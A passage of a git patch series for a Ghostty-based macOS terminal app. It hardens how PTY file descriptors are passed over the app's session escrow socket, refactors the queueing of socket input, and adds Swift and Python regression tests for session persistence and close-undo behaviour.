0x09: - flushText(&bufferedText, surface: surface) - sendKeyEvent(surface: surface, keycode: 0x30) // kVK_Tab + appendKey(0x30, label: "tab") // kVK_Tab previousWasCR = false case 0x1B: - flushText(&bufferedText, surface: surface) - sendKeyEvent(surface: surface, keycode: 0x35) // kVK_Escape + appendKey(0x35, label: "escape") // kVK_Escape previousWasCR = false default: bufferedText.unicodeScalars.append(scalar) previousWasCR = false } } - flushText(&bufferedText, surface: surface) + flushBuffered() + guard !segments.isEmpty else { return true } + + guard let surface = surface else { + var evicted = false + for segment in segments where enqueuePendingSocketInput(segment) { + evicted = true + } + requestBackgroundSurfaceStartIfNeeded() + return !evicted + } + for segment in segments { + deliver(segment, to: surface) + } + return true + } + + private func deliver(_ input: PendingSocketInput, to surface: ghostty_surface_t) { + switch input { + case .text(let chunk): + writeTextData(chunk, to: surface) + case .keyText(let text): + var buffer = text + flushText(&buffer, surface: surface) + case .key(let event): + sendKeyEvent(surface: surface, keycode: event.keycode, mods: event.mods) + } } private func flushText(_ buffer: inout String, surface: ghostty_surface_t) { @@ -2760,12 +2817,24 @@ final class TerminalSurface: Identifiable, ObservableObject { } } - private func enqueuePendingSocketInput(_ input: PendingSocketInput) { + /// Returns true when older pending input had to be evicted to make room. + @discardableResult + private func enqueuePendingSocketInput(_ input: PendingSocketInput) -> Bool { let incomingBytes = input.estimatedBytes + var evictedItems = 0 + var evictedBytes = 0 while !pendingSocketInputQueue.isEmpty, pendingSocketInputBytes + incomingBytes > maxPendingSocketInputBytes { let dropped = pendingSocketInputQueue.removeFirst() pendingSocketInputBytes -= dropped.estimatedBytes + evictedItems += 1 + evictedBytes += dropped.estimatedBytes + } + if evictedItems > 0 { + dilog( + "surface.input", + "pending_input_evicted surface=\(id.uuidString.prefix(8)) items=\(evictedItems) bytes=\(evictedBytes) cap=\(maxPendingSocketInputBytes)" + ) } pendingSocketInputQueue.append(input) @@ -2781,6 +2850,7 @@ final class TerminalSurface: Identifiable, ObservableObject { "keys=\(pendingKeys) bytes=\(pendingSocketInputBytes)" ) #endif + return evictedItems > 0 } private func flushPendingSocketInputIfNeeded() { @@ -2792,13 +2862,8 @@ final class TerminalSurface: Identifiable, ObservableObject { var queuedKeys = 0 for item in queued { - switch item { - case .text(let chunk): - writeTextData(chunk, to: surface) - case .key(let event): - queuedKeys += 1 - sendKeyEvent(surface: surface, keycode: event.keycode, mods: event.mods) - } + if case .key = item { queuedKeys += 1 } + deliver(item, to: surface) } #if DEBUG dlog( diff --git a/programaTests/EscrowFDPassingRegressionTests.swift b/programaTests/EscrowFDPassingRegressionTests.swift new file mode 100644 index 000000000..2b31bd6e2 --- /dev/null +++ b/programaTests/EscrowFDPassingRegressionTests.swift @@ -0,0 +1,130 @@ +import XCTest +import Darwin + +#if canImport(Programa_DEV) +@testable import Programa_DEV +#elseif canImport(Programa) +@testable import Programa +#endif + +/// SESS-01: a PTY master fd received over the escrow socket, or duplicated from the retained +/// registry, must be close-on-exec (a concurrent fork/exec must not inherit the master), and a +/// peer that attaches several fds must not leak the extras into this process. +/// +/// Every test closes every fd it opens. The sender side of a socketpair stays open until the +/// receive has completed (closing it right after sendmsg can hand the receiver a defunct fd +/// under load). +final class EscrowFDPassingRegressionTests: XCTestCase { + private var openedFDs: [Int32] = [] + + override func tearDown() { + for fd in openedFDs where fcntl(fd, F_GETFD) != -1 { close(fd) } + openedFDs.removeAll() + super.tearDown() + } + + private func track(_ fd: Int32) -> Int32 { + openedFDs.append(fd) + return fd + } + + private func makeSocketPair() throws -> (Int32, Int32) { + var fds: [Int32] = [-1, -1] + XCTAssertEqual(socketpair(AF_UNIX, SOCK_STREAM, 0, &fds), 0) + guard fds[0] >= 0, fds[1] >= 0 else { throw XCTSkip("socketpair unavailable") } + return (track(fds[0]), track(fds[1])) + } + + private func makePipe() throws -> (read: Int32, write: Int32) { + var fds: [Int32] = [-1, -1] + XCTAssertEqual(pipe(&fds), 0) + guard fds[0] >= 0, fds[1] >= 0 else { throw XCTSkip("pipe unavailable") } + return (track(fds[0]), track(fds[1])) + } + + /// Bounded probe, never lsof. + private func openFDCount(limit: Int32 = 1024) -> Int { + (0.. Bool { + let flags = fcntl(fd, F_GETFD) + return flags != -1 && (flags & FD_CLOEXEC) != 0 + } + + /// One sendmsg carrying every fd in `fds` as a single SCM_RIGHTS message. + private func sendRaw(fds: [Int32], payload: [UInt8], over socketFD: Int32) -> Bool { + var payload = payload + return payload.withUnsafeMutableBytes { raw -> Bool in + var iov = iovec(iov_base: raw.baseAddress, iov_len: raw.count) + let space = CMSG_SPACE_COMPAT(fds.count * MemoryLayout.size) + var control = [UInt8](repeating: 0, count: space) + return control.withUnsafeMutableBytes { controlRaw -> Bool in + var msg = msghdr() + msg.msg_iov = withUnsafeMutablePointer(to: &iov) { $0 } + msg.msg_iovlen = 1 + msg.msg_control = controlRaw.baseAddress + msg.msg_controllen = socklen_t(space) + let cmsg = controlRaw.baseAddress!.assumingMemoryBound(to: cmsghdr.self) + cmsg.pointee.cmsg_level = SOL_SOCKET + cmsg.pointee.cmsg_type = SCM_RIGHTS + cmsg.pointee.cmsg_len = socklen_t(CMSG_LEN_COMPAT(fds.count * MemoryLayout.size)) + let dataPtr = controlRaw.baseAddress!.advanced(by: CMSG_LEN_COMPAT(0)) + fds.withUnsafeBytes { dataPtr.copyMemory(from: $0.baseAddress!, byteCount: $0.count) } + return sendmsg(socketFD, &msg, 0) == raw.count + } + } + } + + private func CMSG_LEN_COMPAT(_ length: Int) -> Int { 12 + length } + private func CMSG_SPACE_COMPAT(_ length: Int) -> Int { 12 + ((length + 3) & ~3) } + + func testReceivedDescriptorIsCloseOnExec() throws { + let (sender, receiver) = try makeSocketPair() + let pipeEnds = try makePipe() + XCTAssertTrue(UnixDomainFDPassing.send(fd: pipeEnds.read, payload: Data([0x01]), over: sender)) + guard case .data(let bytes, let received?) = UnixDomainFDPassing.receiveChunk(maxBytes: 8, from: receiver) else { + return XCTFail("expected one byte with an attached fd") + } + _ = track(received) + XCTAssertEqual(bytes, Data([0x01])) + XCTAssertTrue(isCloseOnExec(received), "a received PTY master must not be inherited by a concurrent exec") + } + + func testRetainedDescriptorDuplicateIsCloseOnExec() throws { + let pipeEnds = try makePipe() + // Ownership of the read end moves to the registry; releaseAfterOwnershipTransfer closes it. + let master = fcntl(pipeEnds.read, F_DUPFD, 0) + XCTAssertGreaterThanOrEqual(master, 0) + let owner = SessionEscrowRetainedDescriptor.retain( + sessionId: UUID().uuidString, masterFD: master, childPID: 0, + tokenHex: String(repeating: "ab", count: 32), socketPath: "/tmp/programa-sess01-unused.sock", + recoveryPending: false + ) + defer { owner.releaseAfterOwnershipTransfer() } + guard let copy = owner.duplicate() else { return XCTFail("duplicate returned nil") } + _ = track(copy) + XCTAssertNotEqual(copy, master) + XCTAssertTrue(isCloseOnExec(copy), "the duplicate handed to a holder must not leak into spawned children") + } + + func testPeerAttachingTwoDescriptorsLeaksNeitherExtra() throws { + let (sender, receiver) = try makeSocketPair() + let a = try makePipe() + let b = try makePipe() + XCTAssertTrue(sendRaw(fds: [a.read, b.read], payload: [0x02], over: sender)) + + let before = openFDCount() + let result = UnixDomainFDPassing.receiveChunk(maxBytes: 8, from: receiver) + let after = openFDCount() + + guard case .data(_, let received?) = result else { + // A refused frame is also acceptable, but nothing may have leaked. + XCTAssertEqual(after, before, "a rejected two-fd message must not leave fds installed") + return + } + _ = track(received) + XCTAssertEqual(after - before, 1, "exactly one received fd may remain open") + XCTAssertTrue(isCloseOnExec(received)) + } +} diff --git a/programaTests/EscrowFixSweepSESSTests.swift b/programaTests/EscrowFixSweepSESSTests.swift new file mode 100644 index 000000000..b9eb169ea --- /dev/null +++ b/programaTests/EscrowFixSweepSESSTests.swift @@ -0,0 +1,153 @@ +import XCTest +import Darwin + +#if canImport(Programa_DEV) +@testable import Programa_DEV +#elseif canImport(Programa) +@testable import Programa +#endif + +/// Session escrow / WAL fix cluster (SESS-03, 04, 05, 06, 07, 09). SESS-01 lives in +/// `EscrowFDPassingRegressionTests`. SESS-11 needs a live Ghostty surface and has no seam +/// reachable from a unit test, so it is not exercised here. +final class EscrowFixSweepSESSTests: XCTestCase { + // MARK: SESS-03 drain fault policy + + func testWalAppendFailureKeepsDrainingWithoutCapture() { + // A full disk must never SIGHUP the escrowed child: nil means "keep draining". + XCTAssertNil(SessionEscrowHolder.drainOutcome(for: .walAppendFailed)) + } + + func testPollFailureKeepsMasterRetrievable() { + XCTAssertEqual(SessionEscrowHolder.drainOutcome(for: .pollFailed), .keepMaster) + } + + func testMasterReadFailureAndEndOfStreamCloseMaster() { + XCTAssertEqual(SessionEscrowHolder.drainOutcome(for: .readFailed), .closeMaster) + XCTAssertEqual(SessionEscrowHolder.drainOutcome(for: .endOfStream), .closeMaster) + } + + // MARK: SESS-04 stale heartbeat + + func testLivePeerPIDDoesNotDrainOnStaleHeartbeat() { + XCTAssertFalse(SessionEscrowPolicy.shouldDrainOnStaleHeartbeat(peerPID: getpid())) + } + + func testDeadPeerPIDDrainsOnStaleHeartbeat() { + XCTAssertTrue(SessionEscrowPolicy.shouldDrainOnStaleHeartbeat(peerPID: 4242) { _ in (-1, ESRCH) }) + } + + func testUnprobeablePeerPIDDoesNotDrainOnStaleHeartbeat() { + // EPERM: the process exists but belongs to someone else, so it is alive. + XCTAssertFalse(SessionEscrowPolicy.shouldDrainOnStaleHeartbeat(peerPID: 4242) { _ in (-1, EPERM) }) + } + + func testUnknownPeerPIDDrainsOnStaleHeartbeat() { + XCTAssertTrue(SessionEscrowPolicy.shouldDrainOnStaleHeartbeat(peerPID: nil) { _ in + XCTFail("no probe without a pid") + return (0, 0) + }) + } + + // MARK: SESS-05 peer credential + + func testPeerIsCurrentUserOnSocketPair() { + var fds: [Int32] = [-1, -1] + XCTAssertEqual(socketpair(AF_UNIX, SOCK_STREAM, 0, &fds), 0) + defer { for fd in fds where fd >= 0 { close(fd) } } + XCTAssertTrue(UnixDomainFDPassing.peerIsCurrentUser(fds[0])) + XCTAssertTrue(UnixDomainFDPassing.peerIsCurrentUser(fds[1])) + } + + // MARK: SESS-06 retrieve decision and token comparison + + func testRetrieveDecisionOrder() { + XCTAssertEqual(HolderRetrieveDecision.decide(sessionExists: false, tokenMatches: true, isDraining: true), .deny(.unknownSession)) + XCTAssertEqual(HolderRetrieveDecision.decide(sessionExists: false, tokenMatches: false, isDraining: false), .deny(.unknownSession)) + XCTAssertEqual(HolderRetrieveDecision.decide(sessionExists: true, tokenMatches: false, isDraining: true), .deny(.tokenMismatch)) + XCTAssertEqual(HolderRetrieveDecision.decide(sessionExists: true, tokenMatches: true, isDraining: false), .deny(.notDraining)) + XCTAssertEqual(HolderRetrieveDecision.decide(sessionExists: true, tokenMatches: true, isDraining: true), .grant) + } + + func testConstantTimeTokenComparison() { + let token = [UInt8](repeating: 7, count: 32) + var other = token + other[31] ^= 1 + XCTAssertTrue(SessionEscrowHolder.constantTimeTokensEqual(token, token)) + XCTAssertFalse(SessionEscrowHolder.constantTimeTokensEqual(token, other)) + XCTAssertFalse(SessionEscrowHolder.constantTimeTokensEqual(token, Array(token.dropLast()))) + XCTAssertFalse(SessionEscrowHolder.constantTimeTokensEqual([], token)) + } + + // MARK: SESS-07 legacy scan tolerates a corrupt meta.json + + func testLegacySessionsSkipsUnreadableMetaAndReturnsValidOne() throws { + let root = FileManager.default.temporaryDirectory + .appendingPathComponent("sess07-\(UUID().uuidString)", isDirectory: true) + try FileManager.default.createDirectory(at: root, withIntermediateDirectories: true) + defer { try? FileManager.default.removeItem(at: root) } + + let socketPath = "/tmp/programa-sess07-\(UUID().uuidString.prefix(8)).sock" + let validId = UUID().uuidString + let garbageId = UUID().uuidString + let validDir = root.appendingPathComponent(validId, isDirectory: true) + let garbageDir = root.appendingPathComponent(garbageId, isDirectory: true) + try FileManager.default.createDirectory(at: validDir, withIntermediateDirectories: true) + try FileManager.default.createDirectory(at: garbageDir, withIntermediateDirectories: true) + + var meta = SessionWALMeta(sessionId: validId, lastHeartbeatAt: Date()) + meta.escrowed = true + meta.escrowSocketPath = socketPath + meta.escrowToken = String(repeating: "cd", count: 32) + let encoder = JSONEncoder() + encoder.dateEncodingStrategy = .iso8601 + try encoder.encode(meta).write(to: SessionWALPaths(sessionDirectory: validDir).metaURL) + try Data("{ not json".utf8).write(to: SessionWALPaths(sessionDirectory: garbageDir).metaURL) + + let found = try SessionEscrowClient.legacySessions(root: root, legacySocketPath: socketPath) + XCTAssertEqual(found.map(\.sessionId), [validId]) + } + + // MARK: SESS-09 history rotation is scoped to the rotating bundle + + func testRotationPrunesOnlyOwnBundleArchives() throws { + let dir = FileManager.default.temporaryDirectory + .appendingPathComponent("sess09-\(UUID().uuidString)", isDirectory: true) + try FileManager.default.createDirectory(at: dir, withIntermediateDirectories: true) + defer { try? FileManager.default.removeItem(at: dir) } + let live = dir.appendingPathComponent("session-com.test.a.json") + try Data("{\"live\":true}".utf8).write(to: live) + let history = try XCTUnwrap(SessionPersistenceStore.historyDirectoryURL(fileURL: live)) + try FileManager.default.createDirectory(at: history, withIntermediateDirectories: true) + + let bundleA = "com.test.a" + let bundleB = "com.test.b-debug" + // B's archives are the oldest on disk: a global prune would evict them first. + var bFiles: [String] = [] + for i in 0..<6 { + let name = String(format: "20200101-0000%02d-%@.json", i, bundleB) + bFiles.append(name) + try Data("b\(i)".utf8).write(to: history.appendingPathComponent(name)) + } + for i in 0..<11 { + let name = String(format: "20240101-0000%02d-%@.json", i, bundleA) + try Data("a\(i)".utf8).write(to: history.appendingPathComponent(name)) + } + + XCTAssertTrue(SessionPersistenceStore.rotateIntoHistory( + fileURL: live, maxHistoryEntries: 10, bundleIdentifier: bundleA + )) + + for name in bFiles { + XCTAssertTrue( + FileManager.default.fileExists(atPath: history.appendingPathComponent(name).path), + "rotation for \(bundleA) deleted \(name) owned by \(bundleB)" + ) + } + let owned = SessionPersistenceStore.ownedHistoryFileURLs(fileURL: live, bundleIdentifier: bundleA) + XCTAssertEqual(owned.count, 10) + XCTAssertTrue(owned.allSatisfy { $0.lastPathComponent.hasSuffix("-\(bundleA).json") }) + let all = SessionPersistenceStore.historyFileURLs(fileURL: live) + XCTAssertEqual(all.filter { $0.lastPathComponent.hasSuffix("-\(bundleB).json") }.count, 6) + } +} diff --git a/programaTests/SessionPersistenceTests.swift b/programaTests/SessionPersistenceTests.swift index 1f886a65e..a64791551 100644 --- a/programaTests/SessionPersistenceTests.swift +++ b/programaTests/SessionPersistenceTests.swift @@ -287,9 +287,11 @@ final class SessionPersistenceTests: XCTestCase { let snapshotURL = tempDir.appendingPathComponent("session.json", isDirectory: false) let historyDirectory = try XCTUnwrap(SessionPersistenceStore.historyDirectoryURL(fileURL: snapshotURL)) try FileManager.default.createDirectory(at: historyDirectory, withIntermediateDirectories: true) + // Pruning is per bundle, so the seeds carry the running bundle's archive suffix. + let ownSuffix = SessionPersistenceStore.historyArchiveSuffix() for index in 0..<12 { - let filename = "20260101-0000\(String(format: "%02d", index)).json" + let filename = "20260101-0000\(String(format: "%02d", index))-\(ownSuffix)" let fileURL = historyDirectory.appendingPathComponent(filename, isDirectory: false) try Data("{\"seed\":\(index)}".utf8).write(to: fileURL) } @@ -309,10 +311,10 @@ final class SessionPersistenceTests: XCTestCase { XCTAssertEqual(entries.count, 10) let remainingNames = Set(entries.map { $0.lastPathComponent }) - XCTAssertFalse(remainingNames.contains("20260101-000000.json"), "Oldest seeded entry should be pruned") - XCTAssertFalse(remainingNames.contains("20260101-000001.json"), "Second-oldest seeded entry should be pruned") - XCTAssertFalse(remainingNames.contains("20260101-000002.json"), "Third-oldest seeded entry should be pruned") - XCTAssertTrue(remainingNames.contains("20260101-000011.json"), "Newest seeded entry should survive pruning") + XCTAssertFalse(remainingNames.contains("20260101-000000-\(ownSuffix)"), "Oldest seeded entry should be pruned") + XCTAssertFalse(remainingNames.contains("20260101-000001-\(ownSuffix)"), "Second-oldest seeded entry should be pruned") + XCTAssertFalse(remainingNames.contains("20260101-000002-\(ownSuffix)"), "Third-oldest seeded entry should be pruned") + XCTAssertTrue(remainingNames.contains("20260101-000011-\(ownSuffix)"), "Newest seeded entry should survive pruning") XCTAssertEqual( entries.first?.lastPathComponent.hasPrefix("20260102-"), true, @@ -359,8 +361,9 @@ final class SessionPersistenceTests: XCTestCase { try FileManager.default.createDirectory(at: historyDirectory, withIntermediateDirectories: true) let hostileEntryCount = SessionPersistenceStore.historyDirectoryScanLimit + 44 + let ownSuffix = SessionPersistenceStore.historyArchiveSuffix() for index in 0.. #include +#include +#include ssize_t session_escrow_send(int socket_fd, int fd, const void *payload, size_t payload_len) { struct iovec iov; @@ -32,6 +34,51 @@ ssize_t session_escrow_send(int socket_fd, int fd, const void *payload, size_t p return sendmsg(socket_fd, &msg, 0); } +/* The protocol carries at most one fd, but the buffer has room for many: on + * Darwin a truncated SCM_RIGHTS message still installs every right in this + * process, and the ones that did not fit in the buffer cannot be found to + * close. A generous buffer keeps that out of reach of a misbehaving peer + * (which must already be the same uid); every fd beyond the first is closed + * below. */ +#define SESSION_ESCROW_MAX_RECV_FDS 16 + +static void session_escrow_close_received(struct msghdr *msg, int keep_first, int *out_fd) { + int kept = 0; + for (struct cmsghdr *cmsg = CMSG_FIRSTHDR(msg); cmsg != NULL; cmsg = CMSG_NXTHDR(msg, cmsg)) { + if (cmsg->cmsg_level != SOL_SOCKET || cmsg->cmsg_type != SCM_RIGHTS + || cmsg->cmsg_len < CMSG_LEN(sizeof(int))) { + continue; + } + unsigned char *data = CMSG_DATA(cmsg); + /* After MSG_CTRUNC, cmsg_len still reports every right sent; only + * read the ints that actually landed inside the control buffer. */ + unsigned char *control_end = (unsigned char *)msg->msg_control + msg->msg_controllen; + if (data >= control_end) { + continue; + } + size_t reported = (cmsg->cmsg_len - CMSG_LEN(0)) / sizeof(int); + size_t available = (size_t)(control_end - data) / sizeof(int); + size_t count = reported < available ? reported : available; + for (size_t i = 0; i < count; i++) { + int fd; + memcpy(&fd, data + i * sizeof(int), sizeof(int)); + if (fd < 0) { + continue; + } + /* macOS has no MSG_CMSG_CLOEXEC: mark close-on-exec right away so + * a concurrent fork/exec (shell spawn, git probe) cannot inherit + * the PTY master. */ + (void)fcntl(fd, F_SETFD, FD_CLOEXEC); + if (keep_first && !kept) { + kept = 1; + *out_fd = fd; + } else { + close(fd); + } + } + } +} + ssize_t session_escrow_recv(int socket_fd, void *payload, size_t payload_len, int *out_fd) { struct iovec iov; iov.iov_base = payload; @@ -42,7 +89,7 @@ ssize_t session_escrow_recv(int socket_fd, void *payload, size_t payload_len, in msg.msg_iov = &iov; msg.msg_iovlen = 1; - char control[CMSG_SPACE(sizeof(int))]; + char control[CMSG_SPACE(sizeof(int) * SESSION_ESCROW_MAX_RECV_FDS)]; memset(control, 0, sizeof(control)); msg.msg_control = control; msg.msg_controllen = sizeof(control); @@ -56,18 +103,23 @@ ssize_t session_escrow_recv(int socket_fd, void *payload, size_t payload_len, in return n; } - if (out_fd != NULL - && msg.msg_controllen >= sizeof(struct cmsghdr) - && !(msg.msg_flags & MSG_CTRUNC)) { - struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg); - if (cmsg != NULL - && cmsg->cmsg_len >= CMSG_LEN(sizeof(int)) - && cmsg->cmsg_level == SOL_SOCKET - && cmsg->cmsg_type == SCM_RIGHTS) { - int fd; - memcpy(&fd, CMSG_DATA(cmsg), sizeof(int)); - *out_fd = fd; - } + if (msg.msg_controllen < sizeof(struct cmsghdr)) { + return n; + } + + if (msg.msg_flags & MSG_CTRUNC) { + /* Close whatever rights did fit and fail the read: a truncated + * control message means the frame cannot be trusted. */ + int ignored = -1; + session_escrow_close_received(&msg, 0, &ignored); + errno = EMSGSIZE; + return -1; + } + + int received = -1; + session_escrow_close_received(&msg, out_fd != NULL, &received); + if (out_fd != NULL) { + *out_fd = received; } return n; diff --git a/session_escrow_shim.h b/session_escrow_shim.h index 0ca51a0d1..eb8794d7e 100644 --- a/session_escrow_shim.h +++ b/session_escrow_shim.h @@ -34,7 +34,10 @@ ssize_t session_escrow_send(int socket_fd, int fd, const void *payload, size_t p /// Receives up to `payload_len` bytes into `payload` in one `recvmsg` /// call. If an `SCM_RIGHTS` ancillary fd is attached to the received /// message, `*out_fd` is set to it; otherwise `*out_fd` is set to -1. -/// `out_fd` must not be NULL. +/// `out_fd` must not be NULL. Every received fd is marked `FD_CLOEXEC` +/// before this returns; fds beyond the first are closed. A truncated +/// control message (`MSG_CTRUNC`) closes all received fds and returns -1 +/// with `errno` = `EMSGSIZE`. /// /// Returns the number of bytes read (may be less than `payload_len` -- /// callers must loop for exact framing), 0 on EOF, or -1 on error with diff --git a/tests_v2/test_scrollback_privacy_recovery.py b/tests_v2/test_scrollback_privacy_recovery.py index 22637c7c6..b2f868cdd 100644 --- a/tests_v2/test_scrollback_privacy_recovery.py +++ b/tests_v2/test_scrollback_privacy_recovery.py @@ -95,7 +95,7 @@ def main(): nonce = uuid.uuid4().hex tag = "ci-wal-" + nonce[:10] control = Path("/tmp") / f"programa-debug-{tag}.sock" - holder_socket = control.with_name(control.stem + "-escrow-v2.sock") + holder_socket = Path(tempfile.gettempdir()) / f"{control.stem}-escrow-v2.sock" require(not control.exists() and not holder_socket.exists(), "Unique fixture socket already exists") owned = {} current = None diff --git a/tests_v2/test_terminal_close_undo.py b/tests_v2/test_terminal_close_undo.py index fa7db45ab..43435fe21 100644 --- a/tests_v2/test_terminal_close_undo.py +++ b/tests_v2/test_terminal_close_undo.py @@ -13,7 +13,9 @@ just as undoable as an interactive one). 2. Cmd+Shift+T (`debug.shortcut.simulate`) within the grace period restores the surface count and the *same* surface id reappears -- proving the live panel was - reattached rather than a fresh terminal being spawned. + reattached rather than a fresh terminal being spawned. The output of a command + run before the close is still on screen after the undo, and a second command + run after the undo round-trips, so the shell process itself survived. 3. Closing again and waiting past the real 5s grace period leaves the surface permanently closed (count stays down), proving the undo window actually expires instead of undoing forever. @@ -31,6 +33,7 @@ import os import sys import time +import uuid from pathlib import Path sys.path.insert(0, str(Path(__file__).parent)) @@ -59,6 +62,26 @@ def _wait_for_surface_count(c: ProgramaClient, workspace_id: str, expected: int, ) +def _wait_for_text(c: ProgramaClient, surface_id: str, needle: str, timeout_s: float = 10.0) -> str: + deadline = time.time() + timeout_s + last = "" + while time.time() < deadline: + last = c.read_terminal_text(surface_id) + if needle in last: + return last + time.sleep(0.2) + raise ProgramaClientError( + f"Timed out waiting for {needle!r} in surface {surface_id}. Last text tail: {last[-400:]!r}" + ) + + +def _echo_marker(c: ProgramaClient, surface_id: str, marker: str) -> None: + # Split the marker in the typed command so the terminal's echo of the command + # line never matches; only the command's output contains it whole. + half = len(marker) // 2 + c.send_surface(surface_id, f"echo {marker[:half]}''{marker[half:]}\n") + + def main() -> int: with ProgramaClient(SOCKET_PATH) as c: c.activate_app() @@ -76,6 +99,10 @@ def main() -> int: baseline = _wait_for_surface_count(c, workspace_id, 2, timeout_s=8.0) target_surface_id = baseline[-1][1] + before_marker = f"FIXSWEEP_BEFORE_{uuid.uuid4().hex[:10]}" + _echo_marker(c, target_surface_id, before_marker) + _wait_for_text(c, target_surface_id, before_marker) + # --- Close via socket (the agent-close path) and verify it's undoable --- c.close_surface(target_surface_id) after_close = _wait_for_surface_count(c, workspace_id, 1, timeout_s=8.0) @@ -94,6 +121,12 @@ def main() -> int: any(row[1] == target_surface_id for row in restored), f"expected restored surfaces to include the original id {target_surface_id}: {restored!r}", ) + # Same process, not a fresh shell: the pre-close output is still there and + # a new command still runs. + _wait_for_text(c, target_surface_id, before_marker, timeout_s=5.0) + after_marker = f"FIXSWEEP_AFTER_{uuid.uuid4().hex[:10]}" + _echo_marker(c, target_surface_id, after_marker) + _wait_for_text(c, target_surface_id, after_marker) # --- Close again, let the real grace period fully elapse, confirm it stays closed --- c.close_surface(target_surface_id) From 8d21845a0891b5c11546ea2861f815697d076b94 Mon Sep 17 00:00:00 2001 From: arzafran Date: Thu, 1 Oct 2026 12:27:13 -0300 Subject: [PATCH 04/21] fix: keep agent state and notifications consistent across workspaces --- GhosttyTabs.xcodeproj/project.pbxproj | 8 + Resources/Localizable.xcstrings | 136 ++++++++++ Sources/AgentActivityState.swift | 7 +- Sources/AgentManifest.swift | 55 +++- Sources/AgentManifestLoader.swift | 35 +++ Sources/AgentOverviewWindow.swift | 23 +- Sources/AgentScreenDetectionEngine.swift | 15 +- Sources/BrowserPaneDrop.swift | 10 +- Sources/FileDropOverlayView.swift | 9 +- Sources/NotificationSoundStaging.swift | 4 +- Sources/Panels/MarkdownPanel.swift | 112 +++++++-- Sources/Panels/MarkdownPanelView.swift | 61 ++--- Sources/Panels/ReviewPanelView.swift | 14 +- Sources/SidebarDragDrop.swift | 10 +- Sources/TabItemView.swift | 23 +- Sources/TerminalNotificationStore.swift | 37 +-- Sources/Workspace+Bonsplit.swift | 18 +- Sources/Workspace+Persistence.swift | 23 +- Sources/Workspace+SidebarTelemetry.swift | 5 +- Sources/Workspace+Surfaces.swift | 82 ++++-- Sources/Workspace+Theme.swift | 16 +- Sources/Workspace.swift | 94 ++++++- ...WorkspaceFixSweepWKSPRegressionTests.swift | 50 ++++ .../WorkspaceFixSweepWKSPTests.swift | 236 ++++++++++++++++++ tests_v2/test_review_diff_panel.py | 27 +- 25 files changed, 942 insertions(+), 168 deletions(-) create mode 100644 programaTests/WorkspaceFixSweepWKSPRegressionTests.swift create mode 100644 programaTests/WorkspaceFixSweepWKSPTests.swift diff --git a/GhosttyTabs.xcodeproj/project.pbxproj b/GhosttyTabs.xcodeproj/project.pbxproj index cf966b134..a9b4efe58 100644 --- a/GhosttyTabs.xcodeproj/project.pbxproj +++ b/GhosttyTabs.xcodeproj/project.pbxproj @@ -298,6 +298,8 @@ F3000000A1B2C3D4E5F60718 /* CJKIMEInputTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = F3000001A1B2C3D4E5F60718 /* CJKIMEInputTests.swift */; }; F4000000A1B2C3D4E5F60718 /* GhosttyConfigTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = F4000001A1B2C3D4E5F60718 /* GhosttyConfigTests.swift */; }; F5000000A1B2C3D4E5F60718 /* SessionPersistenceTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = F5000001A1B2C3D4E5F60718 /* SessionPersistenceTests.swift */; }; + BEEF50200000000000000004 /* WorkspaceFixSweepWKSPRegressionTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = BEEF50200000000000000003 /* WorkspaceFixSweepWKSPRegressionTests.swift */; }; + BEEF50200000000000000002 /* WorkspaceFixSweepWKSPTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = BEEF50200000000000000001 /* WorkspaceFixSweepWKSPTests.swift */; }; RRPL0002A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = RRPL0001A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift */; }; 3C03A46E60CFD11D198C9504 /* SessionAutosaveCoordinatorTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = D3F772E2747D24AE2FAAC541 /* SessionAutosaveCoordinatorTests.swift */; }; SWCT000001A1B2C3D4E5F607 /* SessionWALCoreTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = SWCT000002A1B2C3D4E5F607 /* SessionWALCoreTests.swift */; }; @@ -708,6 +710,8 @@ F3000001A1B2C3D4E5F60718 /* CJKIMEInputTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CJKIMEInputTests.swift; sourceTree = ""; }; F4000001A1B2C3D4E5F60718 /* GhosttyConfigTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = GhosttyConfigTests.swift; sourceTree = ""; }; F5000001A1B2C3D4E5F60718 /* SessionPersistenceTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SessionPersistenceTests.swift; sourceTree = ""; }; + BEEF50200000000000000003 /* WorkspaceFixSweepWKSPRegressionTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = WorkspaceFixSweepWKSPRegressionTests.swift; sourceTree = ""; }; + BEEF50200000000000000001 /* WorkspaceFixSweepWKSPTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = WorkspaceFixSweepWKSPTests.swift; sourceTree = ""; }; RRPL0001A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = RendererRealizationPlannerTests.swift; sourceTree = ""; }; D3F772E2747D24AE2FAAC541 /* SessionAutosaveCoordinatorTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SessionAutosaveCoordinatorTests.swift; sourceTree = ""; }; SWCT000002A1B2C3D4E5F607 /* SessionWALCoreTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SessionWALCoreTests.swift; sourceTree = ""; }; @@ -1230,6 +1234,8 @@ F3000001A1B2C3D4E5F60718 /* CJKIMEInputTests.swift */, F4000001A1B2C3D4E5F60718 /* GhosttyConfigTests.swift */, F5000001A1B2C3D4E5F60718 /* SessionPersistenceTests.swift */, + BEEF50200000000000000003 /* WorkspaceFixSweepWKSPRegressionTests.swift */, + BEEF50200000000000000001 /* WorkspaceFixSweepWKSPTests.swift */, RRPL0001A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift */, D3F772E2747D24AE2FAAC541 /* SessionAutosaveCoordinatorTests.swift */, SWCT000002A1B2C3D4E5F607 /* SessionWALCoreTests.swift */, @@ -1695,6 +1701,8 @@ F3000000A1B2C3D4E5F60718 /* CJKIMEInputTests.swift in Sources */, 